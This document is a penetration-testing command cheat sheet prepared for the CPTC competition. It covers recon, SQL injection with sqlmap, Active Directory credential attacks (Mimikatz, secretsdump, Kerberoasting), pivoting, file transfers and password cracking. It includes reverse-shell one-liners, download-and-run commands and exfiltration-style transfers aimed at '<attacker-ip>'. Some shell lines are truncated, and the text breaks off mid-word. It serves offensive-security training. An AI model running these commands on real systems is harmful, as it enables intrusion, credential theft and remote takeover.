CPTC Tool Command Reference Cheat Sheet

Table of Contents

RECON TOOLS

nmap

```
# Basic scan with service detection
nmap -sC -sV -oA output <target>

# Full port scan
nmap -p- -T4 <target>

# Quick scan top 1000 ports
nmap -T4 <target>

# UDP scan (slow)
nmap -sU --top-ports 20 <target>

# Aggressive scan
nmap -A -T4 <target>

# Scan multiple targets from file
nmap -iL targets.txt -oA output

# Specific port scan
nmap -p 80,443,8080 <target>
```

rustscan

```
# Fast port discovery, pipe to nmap
rustscan -a <target> -- -sC -sV

# Scan range
rustscan -a 10.10.10.0/24

# Custom port range
rustscan -a <target> -r 1-10000
```

masscan

```
# Fast full port scan
masscan -p1-65535 <target> --rate=1000

# Specific ports on subnet
masscan -p80,443 10.10.10.0/24 --rate=10000
```

httpx

```
# Probe for live HTTP services
httpx -l domains.txt

# With status codes and titles
httpx -l domains.txt -sc -title

# Technology detection
httpx -l domains.txt -tech-detect

# Follow redirects and screenshot
httpx -l domains.txt -follow-redirects -screenshot
```

nuclei

```
# Run all templates
nuclei -u https://target.com

# Specific severity
nuclei -u https://target.com -severity critical,high

# Specific tags
nuclei -u https://target.com -tags cve,sqli

# From list of URLs
nuclei -l urls.txt

# Update templates
nuclei -update-templates
```

subfinder

```
# Basic subdomain enumeration
subfinder -d target.com

# Output to file
subfinder -d target.com -o subdomains.txt

# Silent mode
subfinder -d target.com -silent
```

assetfinder

```
# Find subdomains
assetfinder target.com

# Find only subdomains (no related domains)
assetfinder --subs-only target.com
```

theHarvester

```
# Search all sources
theHarvester -d target.com -b all

# Specific source (google, bing, etc)
theHarvester -d target.com -b google

# Limit results
theHarvester -d target.com -b all -l 500
```

enum4linux

```
# Full enumeration
enum4linux -a <target>

# User enumeration
enum4linux -U <target>

# Share enumeration
enum4linux -S <target>

# Password policy
enum4linux -P <target>
```

WEB EXPLOITATION

Burp Suite

```
Keyboard Shortcuts:
- Ctrl+R: Send to Repeater
- Ctrl+I: Send to Intruder
- Ctrl+Shift+B: Base64 encode
- Ctrl+Shift+U: URL encode

Repeater: Manual request manipulation
Intruder: Automated fuzzing/brute force
Decoder: Encode/decode data
Comparer: Compare responses
```

gobuster

```
# Directory brute force
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt

# With extensions
gobuster dir -u https://target.com -w wordlist.txt -x php,html,txt

# With status codes
gobuster dir -u https://target.com -w wordlist.txt -b 403,404

# DNS subdomain enumeration
gobuster dns -d target.com -w wordlist.txt

# Vhost enumeration
gobuster vhost -u https://target.com -w wordlist.txt
```

ffuf

```
# Directory fuzzing
ffuf -u https://target.com/FUZZ -w wordlist.txt

# With extensions
ffuf -u https://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt

# Filter by status code
ffuf -u https://target.com/FUZZ -w wordlist.txt -fc 404,403

# Filter by response size
ffuf -u https://target.com/FUZZ -w wordlist.txt -fs 1234

# Parameter fuzzing (GET)
ffuf -u https://target.com/page?FUZZ=value -w wordlist.txt

# Parameter fuzzing (POST)
ffuf -u https://target.com/login -X POST -d "username=admin&password=FUZZ" -w wordlist.txt

# Header fuzzing
ffuf -u https://target.com -H "X-Header: FUZZ" -w wordlist.txt

# Subdomain fuzzing
ffuf -u https://FUZZ.target.com -w wordlist.txt
```

sqlmap

```
# Basic scan
sqlmap -u "https://target.com/page?id=1"

# POST request
sqlmap -u "https://target.com/login" --data="username=admin&password=test"

# From Burp request file
sqlmap -r request.txt

# Enumerate databases
sqlmap -u "URL" --dbs

# Enumerate tables in database
sqlmap -u "URL" -D database_name --tables

# Dump table
sqlmap -u "URL" -D database_name -T table_name --dump

# Get current user
sqlmap -u "URL" --current-user

# Get database users and passwords
sqlmap -u "URL" --users --passwords

# OS shell
sqlmap -u "URL" --os-shell

# Batch mode (no prompts)
sqlmap -u "URL" --batch

# Tamper scripts for WAF bypass
sqlmap -u "URL" --tamper=space2comment
```

nikto

```
# Basic scan
nikto -h https://target.com

# Scan with specific port
nikto -h target.com -p 8080

# Output to file
nikto -h target.com -o output.txt

# Tuning options (specific tests)
nikto -h target.com -Tuning 6
```

ACTIVE DIRECTORY ATTACKS

Responder

```
# Basic LLMNR/NBT-NS poisoning
sudo responder -I eth0 -wF

# Analyze mode (no poisoning)
sudo responder -I eth0 -A

# Force WPAD authentication
sudo responder -I eth0 -wF -v
```

PetitPotam

```
# Coerce authentication to attacker
python3 PetitPotam.py <attacker-ip> <target-ip>

# With specific pipe
python3 PetitPotam.py -pipe all <attacker-ip> <target-ip>
```

DFSCoerce

```
# Coerce authentication
python3 DFSCoerce.py -u username -p password <attacker-ip> <target-ip>
```

Kerbrute

```
# User enumeration
kerbrute userenum -d domain.local --dc <dc-ip> users.txt

# Password spray
kerbrute passwordspray -d domain.local --dc <dc-ip> users.txt 'Password123!'

# Brute force single user
kerbrute bruteuser -d domain.local --dc <dc-ip> passwords.txt username
```

CrackMapExec (CME)

```
# SMB enumeration
crackmapexec smb <target>

# Check credentials
crackmapexec smb <target> -u username -p password

# Password spray
crackmapexec smb targets.txt -u users.txt -p 'Password123!' --continue-on-success

# Dump SAM hashes
crackmapexec smb <target> -u username -p password --sam

# Dump LSA secrets
crackmapexec smb <target> -u username -p password --lsa

# Execute command
crackmapexec smb <target> -u username -p password -x "whoami"

# Pass the hash
crackmapexec smb <target> -u username -H <ntlm-hash>

# Enumerate shares
crackmapexec smb <target> -u username -p password --shares

# Enumerate logged on users
crackmapexec smb <target> -u username -p password --logged-on

# WinRM
crackmapexec winrm <target> -u username -p password

# MSSQL
crackmapexec mssql <target> -u username -p password
```

Impacket Suite

psexec.py

```
# Get shell with credentials
impacket-psexec domain/username:password@<target>

# Pass the hash
impacket-psexec domain/username@<target> -hashes :<ntlm-hash>
```

secretsdump.py

```
# Dump all credentials
impacket-secretsdump domain/username:password@<target>

# Pass the hash
impacket-secretsdump domain/username@<target> -hashes :<ntlm-hash>

# Just NTDS.dit
impacket-secretsdump domain/username:password@<target> -just-dc-ntlm

# From local SAM file
impacket-secretsdump -sam sam.save -system system.save LOCAL
```

GetNPUsers.py (ASREPRoasting)

```
# Check for AS-REP roastable users
impacket-GetNPUsers domain/ -dc-ip <dc-ip> -usersfile users.txt -format hashcat

# Request AS-REP for specific user
impacket-GetNPUsers domain/username -dc-ip <dc-ip> -no-pass
```

GetUserSPNs.py (Kerberoasting)

```
# Request TGS tickets for accounts with SPNs
impacket-GetUserSPNs domain/username:password -dc-ip <dc-ip> -request

# Save to file for cracking
impacket-GetUserSPNs domain/username:password -dc-ip <dc-ip> -request -outputfile hashes.txt
```

smbclient.py

```
# List shares
impacket-smbclient domain/username:password@<target>

# Access specific share
impacket-smbclient domain/username:password@<target> -share SHARENAME
```

wmiexec.py

```
# Get shell via WMI
impacket-wmiexec domain/username:password@<target>

# Pass the hash
impacket-wmiexec domain/username@<target> -hashes :<ntlm-hash>
```

POST-EXPLOITATION

WinPEAS

```
# Run from Windows target
.\winPEASx64.exe

# Quiet mode (less output)
.\winPEASx64.exe quiet

# Save to file
.\winPEASx64.exe > output.txt
```

LinPEAS

```
# Run from Linux target
./linpeas.sh

# Save to file
./linpeas.sh > output.txt

# Specific checks only
./linpeas.sh -q
```

Mimikatz

```
# Dump credentials from LSASS
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Dump SAM hashes
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"

# Pass the hash
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:username /domain:domain /ntlm:hash /run:cmd.exe" "exit"

# Dump tickets
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

# Golden ticket
mimikatz.exe "kerberos::golden /user:admin /domain:domain.local /sid:S-1-5-21-... /krbtgt:hash /id:500" "exit"
```

Rubeus

```
# Kerberoast
.\Rubeus.exe kerberoast /outfile:hashes.txt

# ASREPRoast
.\Rubeus.exe asreproast /outfile:hashes.txt

# Request TGT
.\Rubeus.exe asktgt /user:username /password:password /domain:domain.local

# Pass the ticket
.\Rubeus.exe ptt /ticket:ticket.kirbi

# Harvest tickets
.\Rubeus.exe harvest /interval:30
```

SharpHound

```
# Collect all data
.\SharpHound.exe -c All

# Specific collection method
.\SharpHound.exe -c Session,LoggedOn

# Save to specific location
.\SharpHound.exe -c All --zipfilename output.zip
```

BloodHound

```
# Start neo4j database
sudo neo4j console

# Default credentials: neo4j:neo4j (change on first login)

# Run BloodHound
bloodhound

# Import SharpHound data: Drag zip file into BloodHound UI

# Useful queries:
# - Find all Domain Admins
# - Find Shortest Paths to Domain Admins
# - Find Principals with DCSync Rights
# - Find Computers where Domain Users are Local Admin
```

evil-winrm

```
# Connect with credentials
evil-winrm -i <target-ip> -u username -p password

# Connect with hash
evil-winrm -i <target-ip> -u username -H <ntlm-hash>

# Upload file
upload /local/path/file.txt

# Download file
download C:\path\file.txt

# Load PowerShell script
Invoke-Binary /path/to/script.ps1
```

PIVOTING & LATERAL MOVEMENT

Chisel

Server (on attacker machine)

```
# Start server for reverse connection
chisel server -p 8000 --reverse

# Allow specific client key
chisel server -p 8000 --reverse --auth user:pass
```

Client (on compromised machine)

```
# SOCKS proxy (most common for pivoting)
chisel client <attacker-ip>:8000 R:socks

# Specific port forward
chisel client <attacker-ip>:8000 R:3389:<internal-ip>:3389

# Local port forward
chisel client <attacker-ip>:8000 L:8080:localhost:80
```

Using with proxychains

```
# Edit /etc/proxychains4.conf - add:
# socks5 127.0.0.1 1080

# Then use any tool through the tunnel
proxychains nmap -sT <internal-target>
proxychains crackmapexec smb <internal-target>
```

ligolo-ng

Proxy (on attacker machine)

```
# Start proxy with interface creation
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Run proxy
./proxy -selfcert

# In ligolo session:
session # list sessions
session <id> # select session
start # start tunnel
listener_add --addr 0.0.0.0:1080 --to 127.0.0.1:1080 # add listener
```

Agent (on compromised machine)

```
# Connect back to proxy
./agent -connect <attacker-ip>:11601 -ignore-cert

# Windows
agent.exe -connect <attacker-ip>:11601 -ignore-cert
```

Add routes

```
# On attacker machine, add route to internal network
sudo ip route add <internal-subnet> dev ligolo
```

SSH Tunneling

Local Port Forward

```
# Forward local port to remote service
ssh -L 8080:localhost:80 user@<target>

# Access via: http://localhost:8080
```

Remote Port Forward

```
# Forward remote port back to local service
ssh -R 8080:localhost:80 user@<target>
```

Dynamic Port Forward (SOCKS proxy)

```
# Create SOCKS proxy
ssh -D 9050 user@<target>

# Use with proxychains (edit /etc/proxychains4.conf)
# socks4 127.0.0.1 9050
proxychains nmap <internal-target>
```

ProxyChains Configuration

```
# Edit /etc/proxychains4.conf

# Dynamic chain (try each proxy, skip dead ones)
dynamic_chain

# Strict chain (all proxies must work)
#strict_chain

# Proxy list
[ProxyList]
socks5 127.0.0.1 1080  # Chisel default
# socks4 127.0.0.1 9050  # SSH dynamic forward

# Usage
proxychains <command>
```

FILE TRANSFERS

Python HTTP Server

```
# Start on attacker (port 80)
sudo python3 -m http.server 80

# Start on specific port
python3 -m http.server 8000
```

Download on Windows

```
# PowerShell download
Invoke-WebRequest -Uri http://<attacker-ip>/file.exe -OutFile file.exe
iwr -uri http://<attacker-ip>/file.exe -o file.exe

# Certutil
certutil -urlcache -f http://<attacker-ip>/file.exe file.exe

# BITSAdmin
bitsadmin /transfer myDownload http://<attacker-ip>/file.exe C:\temp\file.exe
```

Download on Linux

```
# wget
wget http://<attacker-ip>/file.sh

# curl
curl http://<attacker-ip>/file.sh -o file.sh

# Directly execute
curl http://<attacker-ip>/script.sh | bash
```

SMB Transfer

```
# Start SMB server (Impacket)
impacket-smbserver share . -smb2support

# Windows: Copy from SMB
copy \\<attacker-ip>\share\file.exe C:\temp\file.exe

# Windows: Execute from SMB
\\<attacker-ip>\share\file.exe
```

Base64 Transfer (for small files)

```
# Attacker: Encode file
base64 file.exe > file.b64

# Send content to target, then decode
# Windows PowerShell
$b64 = "BASE64_STRING_HERE"
[IO.File]::WriteAllBytes("file.exe", [Convert]::FromBase64String($b64))

# Linux
echo "BASE64_STRING_HERE" | base64 -d > file
```

USEFUL ONE-LINERS

Reverse Shells

Bash

```
bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
```

Python

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker-ip>",4444));os.dup2(
```

PowerShell

```
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',4444);$stream = $client.GetStream();[byte[]]$b
```

Listener

```
# Netcat listener
nc -lvnp 4444

# rlwrap for better shell
rlwrap nc -lvnp 4444
```

Shell Stabilization (Linux)

```
# Python PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Background shell: Ctrl+Z

# In attacker terminal
stty raw -echo; fg

# In shell
export TERM=xterm
```

Windows Quick Enum

```
# Current user
whoami
whoami /priv
whoami /groups

# System info
systeminfo
hostname

# Network
ipconfig /all
route print
netstat -ano

# Users and groups
net user
net localgroup administrators
net user /domain
net group /domain

# Processes and services
tasklist
sc query
wmic service list brief

# Scheduled tasks
schtasks /query /fo LIST /v

# Patches
wmic qfe list
```

Linux Quick Enum

```
# Current user
id
whoami
sudo -l

# System info
uname -a
cat /etc/os-release
hostname

# Network
ip a
ip route
netstat -antup
ss -tulpn

# Users
cat /etc/passwd
cat /etc/group

# SUID binaries
find / -perm -4000 2>/dev/null

# Writable files/directories
find / -writable -type d 2>/dev/null

# Capabilities
getcap -r / 2>/dev/null

# Cron jobs
cat /etc/crontab
ls -la /etc/cron*

# Services
systemctl list-units --type=service
```

Password Cracking

```
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Hashcat - NTLM
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

# Hashcat - Kerberos TGS
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

# Hashcat - AS-REP
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
```

Quick Web Checks

```
# Check for common files
curl http://target.com/robots.txt
curl http://target.com/.git/config
curl http://target.com/.env

# Check headers
curl -I http://target.com

# Basic auth brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-get /admin
```

IMPORTANT WORDLISTS

Located in `/usr/share/seclists/` or `/usr/share/wordlists/`

Web Content:

- `/usr/share/seclists/Discovery/Web-Content/common.txt`
- `/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt`
- `/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt`

Passwords:

- `/usr/share/wordlists/rockyou.txt`
- `/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt`

Usernames:

- `/usr/share/seclists/Usernames/top-usernames-shortlist.txt`
- `/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt`

Subdomains:

- `/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt`

QUICK REFERENCE LINKS

- GTFOBins: https://gtfobins.github.io/
- LOLBAS: https://lolbas-project.github.io/
- HackTricks: https://book.hacktricks.xyz/
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
- RevShells: https://www.revshells.com/
- CyberChef: https://gchq.github.io/CyberChef/
- CrackStation: https://crackstation.net/

NOTES

- Always document commands, outputs, and findings as you go
- Use tmux/screen to keep terminal sessions organized
- Set up logging: `script -a engagement.log`
- Test exploits in safe environments first
- Be methodical - enumerate thoroughly before exploiting
- Keep track of credentials found (username:password:hash)
- Note which networks/hosts you've compromised for pivoting
- Save all proof screenshots immediately

Remember:

- Pivoting is key - practice Chisel before competition
- AD attacks will be heavily tested - know your Impacket tools
- Document EVERYTHING - competition scoring often includes reporting
- Time management - don't rabbit hol